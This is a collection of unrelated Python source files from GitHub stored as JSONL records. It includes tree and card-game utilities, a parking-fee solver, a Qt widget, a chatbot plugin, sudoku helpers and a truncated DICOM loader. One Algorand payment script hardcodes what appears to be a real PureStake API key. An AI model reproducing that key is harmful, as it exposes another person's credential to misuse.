question = str(input(\"Would you like to search the tree(y/n): \"))\n if question != \"n\":\n search_name = str(input(\"enter a name to find: \"))\n root.findObjectByName(search_name)\n done_searching = str(input(\"search again?(y/n): \"))\n if done_searching == \"n\":\n searching = True\n print() \n stop3 = \"\"\n add_off_of_child_node = str(input(\"would you like to create a tree off a exsisting child node? (y/n): \"))\n if add_off_of_child_node != \"n\":\n while stop3 != \"stop\":\n search_name = str(input(\"enter a name of node to find: \"))\n newRoot = root.findObjectByName(search_name)\n \n stop2 = None\n while stop2 != \"stop\":\n stop = input(str(\"enter 'stop' to stop: \"))\n if stop == \"stop\":\n break\n items2 = addition()\n contact2 = Node([items2],starting_number,items2[0])\n newRoot.add_child(contact2)\n root.showTree() \n stop3 = input(str(\"Enter 'stop' to stop, or a new tree node will be created: \"))\n #would you like to create a nother tree off exsisting node? \n else:\n print(\"- - - - - goodbye! - - - - -\")\n root.showTree() \n\ndef searchTree(self):\n print()\n check_root = str(input(\"Do you want to check or update the root node?(y/n): \"))\n if check_root != \"n\":\n print(self.data)\n check_node = str(input(\"Do you want to check or update a node?(y/n): \"))\n if check_node != \"n\":\n node_num = int(input(\"what node number do you want to check?: \"))\n print(self.children[node_num].data)\n\ndef main():\n tree() \nmain()","repo_name":"petemi09/EducationOfBasics","sub_path":"Python/xcell/readIn.py","file_name":"readIn.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21958810936","text":"import requests\nimport time\nfrom decouple import config\nfrom teleport import teleport\nfrom api import api_request\n\nNEW_NAME = config(\"NAME\")\n\n\ndef get_current_room():\n res = api_request('/init', \"GET\")\n return res[\"room_id\"]\n\n\ndef name_change():\n res = api_request('/change_name', \"POST\", {\"name\": NEW_NAME, \"confirm\": \"aye\"})\n return res\n\n\nif __name__ == \"__main__\":\n current_room = get_current_room()\n name_change_room = \"467\"\n teleport(str(current_room), name_change_room)\n response = name_change()\n print(response)\n","repo_name":"LambdaTH/TH-Build-Week-BE","sub_path":"src/name_change.py","file_name":"name_change.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31520375402","text":"import io\nimport datetime\n\nclass TrainingFile:\n\n\tlData = []\n\n\toDate = datetime.datetime.now()\n\tprint(oDate)\t\n\n\tsFilePath = \"../../Data/\"\n\tsFileTimeStamp = str(oDate.year) + str(oDate.month) + str(oDate.day) + str(oDate.hour) + str(oDate.minute) + str(oDate.second) \t\n\tsTestFileName = \"Test_\" + sFileTimeStamp + \".csv\"\n\tsTrainFileName = \"Train_\" + sFileTimeStamp + \".csv\"\n\tsTestFileFullPath = sFilePath + sTestFileName\n\tsTrainFileFullPath = sFilePath + sTrainFileName\n\n\tsFileName = str(oDate.year) + str(oDate.month) + str(oDate.day) + str(oDate.hour) + str(oDate.minute) + str(oDate.second) + \".csv\"\n\tsFileFullPath = sFilePath + sFileName\n\t\n\tiXpad = 40\n\tiYpad = 5\n\t\n\t# Create file\n#\toFile = io.open(sFileFullPath,\"w+\")\n#\toFile.write(unicode(\"TableCards,CompCards,NextCompCards,PointsEarned\\n\"))\n#\tprint(sFileFullPath)\t\n#\toFile.close()\n\n#\tdef __init__(self):\n\t\t\n\t\t# Create column titles\n\t\t#self.oFile.write(unicode(\"TableCards,CompCards,NextCompCards,PointsEarned\"))\n#\t\tprint(\"init()\")\n\n\tdef push(self,sTableCards,sCompCards,sNextCompCard,sPointsEarned):\n\t\t\n\t\t# Parameter definiions during the training stage\n\t\t# sTableCards -> Cards on the table before the computer draws next card\n\t\t# sCompCards -> Computers cards before the computer draws next card\n\t\t# sNextCompCard -> Card drawn by the computer using the rand() function\n\t\t# sPointsEarned -> Points earned after the table has been evaluated\n\t\tsDataLine = sTableCards + \",\" + sCompCards + \",\" + sNextCompCard + \",\" + sPointsEarned + \"\\n\"\n\t\toFile = io.open(self.sFileFullPath,\"a\")\n\t\toFile.write(unicode(sDataLine))\n\t\toFile.close()\n\n\tdef pushToStruct(self,sTableCards,sCompCards,sNextCompCard):\n\t\t\n\t\t# Parameter definiions during the training stage\n\t\t# sTableCards -> Cards on the table before the computer draws next card\n\t\t# sCompCards -> Computers cards before the computer draws next card\n\t\t# sNextCompCard -> Card drawn by the computer using the rand() function\n\n#\t\tprint( type(sTableCards) )\n#\t\tprint( type(sCompCards) )\n#\t\tprint( type(sNextCompCard) )\n\n\t\t# Replace card letters to numbers\n\t\tprint(\"HERE: \" + sTableCards + \" \" + sCompCards + \" \" + sNextCompCard)\t\t\n\t\tsTableCards = self.lettersToInt( sTableCards )\n\t\tsCompCards = self.lettersToInt( sCompCards )\n\t\tsNextCompCard = self.lettersToInt( sNextCompCard )\n\n\t\tprint(\"HERE: \" + sTableCards + \" \" + sCompCards + \" \" + sNextCompCard)\n\n\t\t# Push to data structure\n\t\tsDataLine = self.spaceToComma(sTableCards,self.iXpad) + \",\" + self.spaceToComma(sCompCards,self.iYpad) + \",\" + sNextCompCard\n\t\t#self.lData.append( sTableCards + \",\" + sCompCards + \",\" + sNextCompCard + \",\" + sPointsEarned )\n\t\tprint(\"sDataLine \" + sDataLine)\n\t\tself.lData.append( sDataLine )\n\n\tdef strToCSV(self,sTableCards,sCompCards):\n\t\t\n\t\t# Parameter definiions during the training stage\n\t\t# sTableCards -> Cards on the table before the computer draws next card\n\t\t# sCompCards -> Computers cards before the computer draws next card\n\n#\t\tprint( type(sTableCards) )\n#\t\tprint( type(sCompCards) )\n\n\t\t# Replace card letters to numbers\n\t\tprint(\"HERE: \" + sTableCards + \" \" + sCompCards)\t\t\n\t\tsTableCards = self.lettersToInt( sTableCards )\n\t\tsCompCards = self.lettersToInt( sCompCards )\n\t\tprint(\"HERE: \" + sTableCards + \" \" + sCompCards)\n\n\t\t# Push to data structure\n\t\tsCSV = self.spaceToComma(sTableCards,self.iXpad) + \",\" + self.spaceToComma(sCompCards,self.iYpad)\n\t\tprint(\"sCSV \" + sCSV)\n\t\t\n\t\treturn sCSV\n\t\t\n\tdef pushToFiles(self):\n\t\t\n\t\t# Split data into training and test 70%/30%\n\t\t# Print Training Data\n#\t\tiSplit70 = int( len(self.lData) * 0.7)\n#\t\tiSplit30 = len(self.lData) - iSplit70\n\n#\t\tif iSplit70 >= 7:\n\t\t\t# Print Training Data\n#\t\t\toFile = io.open(self.sTrainFileFullPath,\"w+\")\n\t\t\t# Print first line (# Data Rows, # Label Columns) \n#\t\t\toFile.write( unicode( str(iSplit70) + \",3\\n\") )\n#\t\t\tfor sDataLine in self.lData[0:iSplit70-2]:\n#\t \t\t\toFile.write( unicode( sDataLine + \"\\n\") )\n#\t\t\toFile.close()\t\t\n\n\t\t\t# Print Testing Data\n#\t\t\toFile = io.open(self.sTestFileFullPath,\"w+\")\n\t\t\t# Print first line (# Data Rows, # Label Columns) \n#\t\t\toFile.write( unicode( str(iSplit30) + \",3\\n\") )\n#\t\t\tfor sDataLine in self.lData[iSplit70-1: len(self.lData)-1]:\n#\t \t\t\toFile.write( unicode( sDataLine + \"\\n\") )\n#\t\t\toFile.close()\n\n\t\tiNumOfLabels = self.iXpad + self.iYpad\n\t\tif len(self.lData) > 0:\n\t\t\t# Print Training Data\n\t\t\toFile = io.open(self.sTrainFileFullPath,\"w+\")\n\t\t\t# Print first line (# Data Rows, # Label Columns) \n\t\t\t#oFile.write( unicode( str( len(self.lData) ) + \",\" + str(iNumOfLabels) + \"\\n\") )\n\t\t\tfor sDataLine in self.lData:\n\t \t\t\toFile.write( unicode( sDataLine + \"\\n\") )\n\t\t\toFile.close()\t\n\n\t\telse:\n\t\t\tprint(\"### NOT ENOUGH DATA COLLECTED TO CREATE FILES ###\")\n\n\tdef spaceToComma(self,sData,iTotalPad):\n\t\t# Count number of spaces\n\t\t# Ensure number of spaces is less than TotalPad\n\t\t# Pad data to TotalPad\n\t\t# Change space -> comma\n#\t\tprint(sData)\n\t\t# Remove the first char if it a space\t\t\n\t\tif sData[:1] == \" \":\n\t\t\tsData = sData[1:]\n#\t\tprint(sData)\n\t\tsRet = \"\"\n\t\tiSpaceCount = sData.count(\" \")\n\t\tif iSpaceCount < iTotalPad:\n\t\t\tsRet = sData.replace(\" \",\",\")\n\t\t\tfor i in range(iTotalPad-iSpaceCount-1):\n\t\t\t\tsRet = sRet + \",0\"\n#\t\tprint(sRet)\n\t\treturn sRet\n\t\n\tdef lettersToInt(self,sStrCards):\n\t\t\n\t\tsStrCards = sStrCards.upper()\n\t\tsStrCards = sStrCards.replace(\"A\",\"1\")\n\t\tsStrCards = sStrCards.replace(\"J\",\"8\")\n\t\tsStrCards = sStrCards.replace(\"Q\",\"9\")\n\t\tsStrCards = sStrCards.replace(\"K\",\"10\")\n\t\t\n\t\treturn sStrCards\n\t\t\n\t\t\n\t\t\t\n","repo_name":"CarlosRMontesinos/cuarenta","sub_path":"trainingfile.py","file_name":"trainingfile.py","file_ext":"py","file_size_in_byte":5400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20209546974","text":"class LookupIP:\n def __init__(self, data: dict) -> None:\n \n self.ip_addr = data[\"ip\"]\n self.type = data[\"type\"]\n \n self.continent_code = data[\"continent_code\"]\n self.continent_name = data[\"continent_name\"]\n \n self.country_code = data[\"country_code\"]\n self.country_name = data[\"country_name\"]\n \n self.is_eu = False if data[\"is_eu\"] == \"false\" else True\n self.geoname_id = data[\"geoname_id\"]\n \n self.city = data[\"city\"]\n self.region = data[\"region\"]\n \n self.latitude = data[\"lat\"]\n self.lat = self.latitude\n self.longitude = data[\"lon\"]\n self.long = self.longitude\n self.timezone_id = data[\"tz_id\"]\n \n self.localtime_epoch = data[\"localtime_epoch\"]\n self.localtime = data[\"localtime\"]\n","repo_name":"Ghoul072/pyweather","sub_path":"weatherloc/commands/ip_lookup.py","file_name":"ip_lookup.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13432183257","text":"import json\nimport base64\nfrom algosdk.v2client import algod\nfrom algosdk import mnemonic, constants\nfrom algosdk.future import transaction\n\n\ndef transact(mnemonic_phrase):\n # purestake headers\n algod_address = \"https://testnet-algorand.api.purestake.io/ps2\"\n algod_token = \"fPMpB0SpZv3M4e9OTKAWC9NxBymUVSkj5IfwCuD0\"\n headers = {\n \"X-API-Key\": algod_token,\n }\n\n algod_client = algod.AlgodClient(algod_token, algod_address, headers)\n\n account = mnemonic.to_public_key(mnemonic_phrase)\n account_info = algod_client.account_info(account)\n print(\"Account balance: {} microAlgos\".format(account_info.get('amount')) + \"\\n\")\n\n params = algod_client.suggested_params()\n\n params.flat_fee = True\n params.fee = constants.MIN_TXN_FEE \n note = \"xuj14: Hello Assignment 03\".encode()\n amount = 1\n send_to = \"CHUGMLOF276225HD4EFKFQUR5YY3ZPED6XLR6ISPLMTKO56XHAHSSEML3M\"\n unsigned_txn = transaction.PaymentTxn(account, params, send_to, amount, None, note)\n\n signed_txn = unsigned_txn.sign(mnemonic.to_private_key(mnemonic_phrase))\n\n # submit transaction\n txid = algod_client.send_transaction(signed_txn)\n print(\"Signed transaction with txID: {}\".format(txid))\n\n # wait for confirmation \n try:\n confirmed_txn = transaction.wait_for_confirmation(algod_client, txid, 4) \n except Exception as err:\n print(err)\n return\n\n print(\"Transaction information: {}\".format(\n json.dumps(confirmed_txn, indent=4)))\n print(\"Decoded note: {}\".format(base64.b64decode(\n confirmed_txn[\"txn\"][\"txn\"][\"note\"]).decode()))\n\n print(\"Starting Account balance: {} microAlgos\".format(account_info.get('amount')) )\n print(\"Amount transfered: {} microAlgos\".format(amount) ) \n print(\"Fee: {} microAlgos\".format(params.fee) ) \n\n\n account_info = algod_client.account_info(account)\n print(\"Final Account balance: {} microAlgos\".format(account_info.get('amount')) + \"\\n\")\n\n\nmnemonic_phrase = input(\"Mnemonic: \").strip()\ntransact(mnemonic_phrase)\n","repo_name":"JackyXu866/AI_Blockchain","sub_path":"alogrand_hw3/xuj14TransactionMessage.py","file_name":"xuj14TransactionMessage.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32716578060","text":"from collections import defaultdict\ndef solution(fees, records):\n answer = []\n dic = defaultdict(list)\n for i in records:\n time, car, state = i.split()\n time = int(time.split(':')[0]) * 60 + int(time.split(':')[1])\n dic[car].append(time)\n \n dic2 = defaultdict(list)\n for i in dic.keys():\n ans = 0\n # 출차 안되서 23시 59분 기준으로 계산 \n if len(dic[i]) % 2 != 0:\n dic[i].append(60 * 23 + 59)\n \n # 계산 \n total_time = 0\n for a in range(0, len(dic[i]), 2):\n total_time += (dic[i][a+1] - dic[i][a])\n if total_time <= fees[0]:\n ans = fees[1]\n else:\n idx = (total_time - fees[0]) // fees[2]\n if (total_time - fees[0]) % fees[2] == 0:\n ans = fees[1] + idx * fees[3]\n else:\n ans = fees[1] + (idx + 1) * fees[3]\n \n dic2[i] = ans\n \n for i in dic2.keys():\n answer.append((i, dic2[i]))\n answer.sort()\n \n return [i[1] for i in answer]","repo_name":"ohilikeit/Coding_Test_Practice","sub_path":"프로그래머스/lv2/92341. 주차 요금 계산/주차 요금 계산.py","file_name":"주차 요금 계산.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5154883879","text":"from qtstrap import *\nfrom codex import DeviceManager\nfrom functools import partial\nfrom.lock_button import LockButton\n\n\n@DeviceManager.subscribe_to(\"TS-480\")\nclass RadioPowerButtons(QWidget):\n power_changed = Signal(str)\n \n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.power = '5'\n self.limit = True\n self.btns = QButtonGroup()\n\n powers = [\"200\", \"175\", \"150\", \"125\", \"100\", \"75\", \"50\", \"25\", \"10\", \"5\"]\n\n with CGridLayout(self, margins=(0, 0, 0, 0)) as layout:\n for i, power in enumerate(powers):\n btn = QPushButton(power, checkable=True)\n self.btns.addButton(btn)\n layout.add(btn, i + 1, 0)\n btn.clicked.connect(lambda: self.btns.setExclusive(True))\n btn.clicked.connect(partial(self.update_power, btn.text()))\n\n self.lock = layout.add(LockButton(iconSize=QSize(35, 35)), 0, 0)\n layout.add(QPushButton(disabled=True), 0, 1)\n layout.add(QPushButton(disabled=True), 0, 2)\n layout.add(QPushButton('+', clicked=lambda: self.update_power(int(self.power) + 5)), 1, 1, 5, 2)\n layout.add(QPushButton('-', clicked=lambda: self.update_power(int(self.power) - 5)), 6, 1, 5, 2)\n\n self.lock.toggled.connect(lambda s: self.set_limit(not s))\n self.set_limit(True)\n\n def connected(self, device):\n device.signals.power.connect(lambda s: self.set_power(s))\n self.power_changed.connect(device.set_power_level)\n\n def update_power(self, power):\n power = str(power)\n if self.limit:\n if int(power) > 100:\n power = '100'\n self.power_changed.emit(power)\n\n def set_power(self, power):\n self.power = power\n \n self.uncheck_all()\n self.select(power)\n\n def set_limit(self, limit):\n self.limit = limit\n if limit == True:\n self.update_power(self.power)\n \n for btn in self.btns.buttons():\n if int(btn.text()) > 100:\n btn.setEnabled(False)\n\n else:\n for btn in self.btns.buttons():\n btn.setEnabled(True)\n\n def uncheck_all(self):\n self.btns.setExclusive(False)\n for btn in self.btns.buttons():\n btn.setChecked(False)\n\n def select(self, power):\n for btn in self.btns.buttons():\n if btn.text() == power:\n btn.setChecked(True)\n self.btns.setExclusive(True)\n return","repo_name":"DaelonSuzuka/DeviceManager","sub_path":"src/plugins/widgets/radio_power_controls.py","file_name":"radio_power_controls.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"14506496805","text":"# 주사위 굴리기\n# https://www.acmicpc.net/problem/14499\n\nN, M, x, y, K = map(int, input().split())\nboard = [[0] * M for _ in range(N)]\n\nfor i in range(N):\n board[i] = list(map(int, input().split()))\n\ncommands = map(int, input().split())\n\ndx, dy = (0, 0, -1, 1), (1, -1, 0, 0) # 동, 서, 북, 남\n\ndice = [0] * 6 # 왼쪽 옆면, 윗면, 오른쪽 옆면, 뒷면, 앞면, 바닥 // 맨 처음\n\n\ndef change_direct(dir):\n #print(\"방향\",dir)\n global dice\n ndice = [0] * 6\n\n if dir == 1: # 동\n ndice[0] = dice[5]\n ndice[1] = dice[0]\n ndice[2] = dice[1]\n ndice[3] = dice[3]\n ndice[4] = dice[4]\n ndice[5] = dice[2]\n\n elif dir == 2: # 서\n ndice[0] = dice[1]\n ndice[1] = dice[2]\n ndice[2] = dice[5]\n ndice[3] = dice[3]\n ndice[4] = dice[4]\n ndice[5] = dice[0]\n\n elif dir == 3: # 북\n ndice[0] = dice[0]\n ndice[1] = dice[4]\n ndice[2] = dice[2]\n ndice[3] = dice[1]\n ndice[4] = dice[5]\n ndice[5] = dice[3]\n\n elif dir == 4: # 남\n ndice[0] = dice[0]\n ndice[1] = dice[3]\n ndice[2] = dice[2]\n ndice[3] = dice[5]\n ndice[4] = dice[1]\n ndice[5] = dice[4]\n\n dice = ndice\n\n\ndef start(x, y):\n\n for c in commands:\n\n if 0 > x + dx[c - 1] or x + dx[c - 1] >= N or 0 > y + dy[c - 1] or y + dy[c - 1]>= M:\n continue\n else:\n change_direct(c)\n nx = x + dx[c - 1]\n ny = y + dy[c - 1]\n if board[nx][ny] == 0: # 지도가 0일 때\n board[nx][ny] = dice[5]\n\n else: # 칸이 0이 아니면\n dice[5] = board[nx][ny]\n board[nx][ny] = 0\n\n x = nx\n y = ny\n print(dice[1])\n\n\nstart(x, y)\n","repo_name":"uyeonH/Algorithm","sub_path":"삼성기출/주사위굴리기.py","file_name":"주사위굴리기.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70336357352","text":"# String loopage\nfor n in 'banana':\n print(n)\n\n# Character manipulation\nword = 'supercalifragilisticexpialidocious'\nnew_string = ''\n\nfor char in word:\n if char == 's':\n new_string += '$'\n else:\n new_string += char\n\nprint(new_string)\n\n# Parsing\nexample = 'the quick brown fox'\nwords = example.split(' ')\n\nfor word in words:\n print(word)\n\n\n# Validation & Regex\nimport re\n\nemail = 'john.doe@example.com'\n\nif re.match(r\"[^@]+@[^@]+\\.[^@]+\", email):\n print('Valid Email')\nelse:\n print('Invalid Email')","repo_name":"zakmayfield/atlantis","sub_path":"sandbox/strings.py","file_name":"strings.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27946153575","text":"from nonebot import on_regex\nfrom services.log import logger\nfrom nonebot.adapters.onebot.v11 import Bot, MessageEvent, GroupMessageEvent, GROUP\nfrom nonebot.typing import T_State\nfrom .data_source import get_epic_free\n\n__plugin_name__ = \"epic免费游戏\"\n__plugin_type__ = \"资讯类\"\n__plugin_version__ = 0.1\n__plugin_usage__ = \"\"\"\nusage:\n 可以不玩,不能没有,每日白嫖\n 指令:\n epic/epic免费游戏 : 获取E宝今日游戏折扣信息\n\"\"\".strip()\n__plugin_settings__ = {\n \"cmd\": [\"epic\", \"epic免费游戏\"],\n}\n\n__plugin_cd_limit__ = {\"cd\": 30, \"rst\": \"不久前才发了epic折扣资讯诶,看看上面的消息吧,不然还请[cd]秒后再用呢~[at]\", \"limit_type\": \"group\",}\n__plugin_block_limit__ = {\"rst\": \"别急,还在获取折扣信息中...\"}\n__plugin_count_limit__ = {\n \"max_count\": 3,\n \"limit_type\": \"user\",\n \"rst\": \"你今天已经查询过多次了哦,还请明天再继续呢[at]\",\n}\n\nepic = on_regex(\"^epic(?:免费游戏)?$\", priority=5, permission=GROUP, block=True)\n\n@epic.handle()\nasync def handle(bot: Bot, event: MessageEvent, state: T_State):\n Type_Event = \"Private\"\n if isinstance(event, GroupMessageEvent):\n Type_Event = \"Group\"\n await epic.send(\"正在获取E宝今日折扣信息中...\")\n msg_list, code = await get_epic_free(bot, Type_Event)\n if code == 404:\n await epic.send(msg_list)\n elif isinstance(event, GroupMessageEvent):\n await bot.send_group_forward_msg(group_id=event.group_id, messages=msg_list)\n else:\n for msg in msg_list:\n await bot.send_private_msg(user_id=event.user_id, message=msg)\n logger.info(\n f\"(USER {event.user_id}, GROUP {event.group_id if isinstance(event, GroupMessageEvent) else 'private'})\"\n f\" 获取epic免费游戏\"\n )\n","repo_name":"cYanosora/kndbot","sub_path":"plugins/epic/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"39412082205","text":"#!/bin/bash\n\nimport os\nimport shutil\n\ninputs = [('010', 'get_started', 'Course goals'),\n ('015', 'conventions', 'Course conventions'),\n ('020', 'stages_hello_world', 'Stages of compilation & Hello, world'),\n ('030', 'types_and_ops', 'Variables, types, operators'),\n ('035', 'printing', 'Printing messages'),\n ('040', 'decisions', 'Decisions'),\n ('050', 'arrays', 'Arrays'),\n ('060', 'chars_strings', 'Characters & strings'),\n ('065', 'reading_input', 'Reading input'),\n ('070', 'command_line_args', 'Command line arguments'),\n ('080', 'assertions', 'Assertions'),\n ('090', 'math', 'Math'),\n ('100', 'compile_link', 'Compiling and linking'),\n ('110', 'functions', 'Functions'),\n ('120', 'program_structure', 'Program structure'),\n ('130', 'makefiles', 'Makefiles'),\n ('140', 'memory', 'Memory'),\n ('150', 'pointers', 'Pointers'),\n ('160', 'ptrs_arrays', 'Pointers & arrays'),\n ('170', 'lifetime_scope', 'Lifetime & scope'),\n ('180', 'stack_heap', 'Stack & heap'),\n ('190', 'dynamic_mem', 'Dynamic memory allocation'),\n ('200', 'valgrind', 'Debugging with valgrind'),\n ('210', 'gdb', 'Debugging with gdb'),\n ('220', 'structs', 'Structures'),\n ('230', 'beyond_1d', 'Beyond 1D arrays'),\n ('240', 'binary_io', 'Binary input/output'),\n ('250', 'numeric_types', 'Numeric types'),\n ('260', 'casting_promotion', 'Type casting & promotion'),\n ('270', 'bitwise_ops', 'Bitwise operators'),\n ('280', 'linked_lists', 'Linked lists, part 1'),\n ('290', 'linked_lists_2', 'Linked lists, part 2'),\n ('500', 'cpp_intro', 'C++ intro'),\n ('510', 'io_namespaces', 'C++ I/O and namespaces'),\n ('520', 'strings', 'C++ strings'),\n ('530', 'stl_intro', 'Standard Template Library (STL)'),\n ('540', 'vector_iter', 'STL vector & iterators'),\n ('550', 'map', 'STL map'),\n ('560', 'more_iterators', 'More about iterators'),\n ('570', 'pair_tuple', 'STL pairs and tuples'),\n ('580', 'references', 'References'),\n ('600', 'classes', 'Classes'),\n ('610', 'constructors', 'Constructors'),\n ('620', 'new_delete', 'new and delete'),\n ('630', 'non_default_ctors', 'Non-default constructors'),\n ('640', 'destructors', 'Destructors'),\n ('650', 'pass_by_ref', 'Passing by reference'),\n ('660', 'inheritance', 'Inheritance'),\n ('670', 'polymorphism', 'Polymorphism'),\n ('675', 'virt_dtors', 'Virtual destructors'),\n ('680', 'overloading', 'Overloading'),\n ('690', 'enum', 'Enumerations'),\n ('700', 'static_members', 'Static members'),\n ('710', 'design_principles', 'Object oriented design principles'),\n ('720', 'stringstream', 'Building strings with stringstream'),\n ('730', 'fstream', 'File I/O with fstream'),\n ('740', 'exceptions', 'Exceptions'),\n ('750', 'ruleof3', 'The Rule of 3'),\n ('760', 'template_funcs', 'Template functions'),\n ('770', 'template_classes', 'Template classes'),\n ('780', 'abstract_classes', 'Abstract classes'),\n ('790', 'writing_containers', 'Writing a container class'),\n ('800', 'auto', 'auto type'),\n ('810', 'ranged_for', 'ranged_for loops'),\n ('820', 'override', 'Override keyword')\n ]\n\nif os.path.exists('full_set'):\n\traise RuntimeError(\"full_set output dir already exists\")\n\nos.mkdir('full_set')\n\nmanifest = os.path.join('full_set', 'manifest.txt')\nwith open(manifest, 'wt') as manifest_fh:\n\n\tfor num, short, long in inputs:\n\t\tcombined = num + '_' + short\n\t\tinput_pdf_name = short + '.pdf'\n\t\tinput_pdf_path = os.path.join(combined, input_pdf_name)\n\t\tif not os.path.exists(input_pdf_path):\n\t\t\traise RuntimeError('\"%s\" does not exist' % input_pdf_path)\n\n\t\toutput_pdf_path = os.path.join('full_set', combined + '.pdf')\n\t\tshutil.copyfile(input_pdf_path, output_pdf_path)\n\t\turl = 'http://www.cs.jhu.edu/~langmea/resources/lecture_notes/' + combined + '.pdf'\n\t\tmanifest_fh.write('\\t'.join([combined, long, url]) + '\\n')\n","repo_name":"BenLangmead/c-cpp-notes","sub_path":"units/make_full_set.py","file_name":"make_full_set.py","file_ext":"py","file_size_in_byte":4292,"program_lang":"python","lang":"en","doc_type":"code","stars":233,"dataset":"github-code","pt":"72"} +{"seq_id":"32941830681","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n__author__ = 'ar'\n\nimport json\nfrom app.backend.core.models.api import modelsWatcher\n\nif __name__ == '__main__':\n print ('-------- [ Models Watcher ROCs API ] ---------')\n for modelId, modelInfo in modelsWatcher.dictModelsInfo.items():\n print ('*** ROC for model %s:' % modelInfo)\n dataROC = modelsWatcher.getModelROC(modelId)\n print (json.dumps(dataROC, indent=4))","repo_name":"SummaLabs/DLS","sub_path":"app/backend-test/core_models/run13_test_models_watcher_ROC_api.py","file_name":"run13_test_models_watcher_ROC_api.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"72"} +{"seq_id":"40704011375","text":"\"\"\"\nUtilities for visualization\nErnesto Costa, February 2016\nAdjusted by Sebastian Rehfeldt\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# auxiliary \ndef display(indiv, phenotype):\n print('Chromo: %s\\nFitness: %s' % (phenotype(indiv[0]),indiv[1]))\n \ndef display_stat_1(best,average):\n generations = list(range(len(best)))\n plt.title('Performance over generations')\n plt.xlabel('Generation')\n plt.ylabel('Fitness')\n plt.plot(generations, best, label='Best')\n plt.plot(generations,average,label='Average')\n plt.legend(loc='best')\n plt.show()\n \ndef display_stat_n(boa,average_best,i):\n generations = list(range(len(boa)))\n plt.title('Performance over runs')\n plt.xlabel('Generation')\n plt.ylabel('Fitness')\n plt.plot(generations, boa, label='Best of All')\n plt.plot(generations,average_best,label='Average of Bests')\n plt.legend(loc='best')\n plt.savefig('./experiments/file'+str(i)+'.png')\n plt.close()\n\n \ndef readData(file):\n # givens are saved in a dict\n # keys correspond to blocks\n # values are tuples containing a 1D position and a value\n\n givens = {}\n\n with open(file) as f:\n dimension = int(f.readline())\n sudoku = np.zeros((dimension**2,dimension**2))\n\n data = f.readlines()\n i=0\n for line in data:\n elements = line.split()\n j=0\n for elem in elements:\n sudoku[i][j] = int(elem)\n j+=1\n i+=1\n\n block = 0\n for i in range(dimension):\n for j in range(dimension):\n row = i*dimension\n col = j*dimension\n elements = sudoku[row:row+dimension,col:col+dimension]\n elements = elements.ravel()\n givens[block] = []\n for k in range(len(elements)):\n if not elements[k] == 0:\n givens[block].append((k,int(elements[k])))\n block += 1\n\n f.closed\n return givens, dimension","repo_name":"SebastianRehfeldt/evolutionaryComputation","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"168417339","text":"import pytest\n\nfrom mail.beagle.beagle.core.actions.mail_list_responsible.create import CreateMailListResponsibleAction\nfrom mail.beagle.beagle.core.exceptions import MailListResponsibleAlreadyExistsError, UserNotFoundError\nfrom mail.beagle.beagle.tests.unit.core.actions.base import * # noqa\n\n\nclass TestCreateMailListResponsible(BaseTestNotFound): # noqa\n @pytest.fixture\n def action(self, params, mocker):\n return CreateMailListResponsibleAction\n\n @pytest.fixture\n def params(self, org, mail_list, user):\n return {\n 'org_id': org.org_id,\n 'mail_list_id': mail_list.mail_list_id,\n 'uid': user.uid\n }\n\n class TestNotFound:\n @pytest.mark.asyncio\n async def test_user_not_found(self, params, randn, action):\n params.update({'uid': randn()})\n with pytest.raises(UserNotFoundError):\n await action(**params).run()\n\n class TestAlreadyExists:\n @pytest.mark.asyncio\n async def test_resp_already_exists(self, params, mail_list_responsible, action):\n params.update({'uid': mail_list_responsible.uid})\n with pytest.raises(MailListResponsibleAlreadyExistsError):\n await action(**params).run()\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"mail/tests/unit/core/actions/mail_list_responsible/test_create.py","file_name":"test_create.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37578196410","text":"from pathlib import Path\nfrom argparse import ArgumentParser\n\nimport numpy as np\nimport torch\nimport torch.multiprocessing as mp\n\nfrom .utils import hidden_errors, read_dicom_folder, num_slices_between, requires_dicom, requires_gdcm\nfrom torchvtk.utils import pool_map, normalize_hounsfield, normalize_voxel_scale, make_4d\n\n@requires_dicom\n@requires_gdcm\ndef get_volume_gen(volume_dirs, apply_dcm_rescale=False, permute_c_contiguous=True):\n ''' Make a generator that loads volumes from a list of volume directories, `volume_dirs`.\n Returns: (volume: np.ndarray , voxel_scale: np.ndarray, volume_name: string) '''\n rescale = None if apply_dcm_rescale else False\n def vol_gen():\n for vol_dir in volume_dirs:\n with hidden_errors():\n try:\n vol, dicom = read_dicom_folder(vol_dir, rescale)\n if permute_c_contiguous: # return (D, H, W) instead of (W, H, D)\n vol = np.ascontiguousarray(vol.transpose(2,1,0))\n 